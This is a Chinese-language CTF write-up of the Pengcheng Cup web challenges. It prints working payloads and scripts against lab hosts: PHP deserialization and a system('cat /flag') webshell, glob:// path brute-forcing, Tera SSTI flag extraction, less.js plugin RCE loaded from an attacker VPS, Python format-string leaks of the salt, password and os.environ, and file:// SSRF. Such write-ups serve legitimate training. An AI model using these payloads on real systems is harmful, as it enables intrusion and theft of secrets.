去年的鹏城杯,鄙人只做出来 1 题 今年的鹏城杯,鄙人和队友一起做出来了 5/6 题
web1 好简单的反序列化
1 2 3 4 5 $hacker = new Hacker ();$h = new H ();$h ->username = $hacker ;echo urlencode (serialize ($h ));
web2 glob 协议爆破文件路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import stringimport requestsburp0_url = "http://172.10.0.5:80/" dic = string.digits + string.ascii_lowercase res = "" for length in range (40 ): for i in dic: burp0_data = {"filename" : "glob://./backdoor_" + res + i + "*" } r = requests.post(burp0_url, data=burp0_data) if "failed to open dir" not in r.text and "nonono~~~" not in r.text: res += i break print (burp0_data)
后面是数组绕过
/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=tel&title[]=x&data[]=<?php+system("cat+/flag");
Tera ssti 结合 tera
https://keats.github.io/tera/docs/
试了一下,可以读环境变量的 flag,然后进行爆破匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport stringimport jsonimport osurl = "http://172.10.0.3:8081/" chars = string.ascii_lowercase + "01234567890" + "-}" flag = "3c" while True : for char in chars: data = '{%set f=get_env(name="fl"~"ag")%}{%if f is starting_with("fl"~"ag{' +flag + char +'")%}114514{%endif%}' cmd = "curl -X POST http://172.10.0.3:8081/ --data '" +data+"'" print (cmd) text = os.popen(cmd).read() if "114514" in text: flag += char print (flag)
Simple-rpc https://zhuanlan.zhihu.com/p/389345632
非预期吧?less.js rce
Vps 上放 1.js
1 2 3 4 5 functions.add ("cmd" , function (val ) { return `"${global .process.mainModule .require ("child_process" ) .execSync(val.value)} "` ;});
escape /source
源码路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from sqlite3 import *from random import choicefrom hashlib import sha512from flask import Flask, request, Responsefrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressapp = Flask(__name__) limiter = Limiter( app=app, key_func=get_remote_address, default_limits=["50000 per hour" ], storage_uri="memory://" , ) salt = b'****************' class PassHash (str ): def __str__ (self ): return sha512(salt + self.encode()).hexdigest() def __repr__ (self ): return sha512(salt + self.encode()).hexdigest() con = connect("users.db" ) cur = con.cursor() cur.execute("DROP TABLE IF EXISTS users" ) cur.execute("CREATE TABLE users(username, passhash)" ) passhash = PassHash('' .join(choice("0123456789" ) for _ in range (16 ))) cur.execute( "INSERT INTO users VALUES (?, ?)" , ("admin" , str (passhash)) ) con.commit() @app.route('/source' ) @limiter.limit("1/second" ) def source (): return Response(open (__file__).read(), mimetype="text/plain" ) @app.route('/' ) @limiter.limit("3/second" ) def index (): if 'username' not in request.args or 'password' not in request.args: return open ("index.html" ).read() else : username = request.args["username" ] new_pwd = PassHash(request.args["password" ]) con = connect("users.db" ) cur = con.cursor() res = cur.execute( "SELECT * from users WHERE username = ? AND passhash = ?" , (username, str (new_pwd)) ) if res.fetchone(): return open ("secret.html" ).read() return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!" .format (user=username) .format (passhash=new_pwd) ) if __name__ == "__main__" : app.run('0.0.0.0' , 10000 )
队友 NaN 发现时 format 有问题
http://172.10.0.5:10000/?username={passhash.__class__.__repr__.__globals__}&password=
可以获取的 salt 和 hashpash
我做的是这部分的原密码爆破,手工测出来有可以绕过,写了个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport timepassword = "" url = "http://172.10.0.5:10000/" padding = len ("Sorry, we couldn't find a user '" ) for i in range (16 ): params = { "username" :f"{{passhash.__class__.__repr__.__globals__[passhash][{i} ]}}" , "password" :"" } r = requests.get(url,params=params) password += r.text[padding] time.sleep(1 ) print (password)
http://172.10.0.5:10000/?username=admin&password=7295348376789132
登陆之后还不给我 flag
secret.html 提示 flag 在 environment 里
至于之后的 format 导入 os 进而获取 environ 还是队友搞出来的,我真不太会
{passhash.__class__.__repr__.__globals__[app].__init__.__globals__[os].environ}
赛后看别人说的,竟然是国外的原题???
https://imaginaryctf.org/ArchivedChallenges/39
http://puzzler7.imaginaryctf.org:11005/?username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ[BONUS_FLAG]}&password=
The Flask module imports os, which means that any flask object that has access to __globals__ also has access to os, and thus access to the environment variables.
HTTP (未完成) dirsearch 目录扫描
1 2 3 [10:26:42] Starting: [10:27:37] 200 - 92B - /swagger-resources [10:27:41] 200 - 625B - /v2/api-docs
同时还有 http://172.10.0.3:8080/v3/api-docs
通过这些,可以得知存在 /proxy/url?url=ads
有 ssrf
一直以为没人做出来这一题,赛后发现竟然是通过 url:file://
去绕过就可以读 flag 了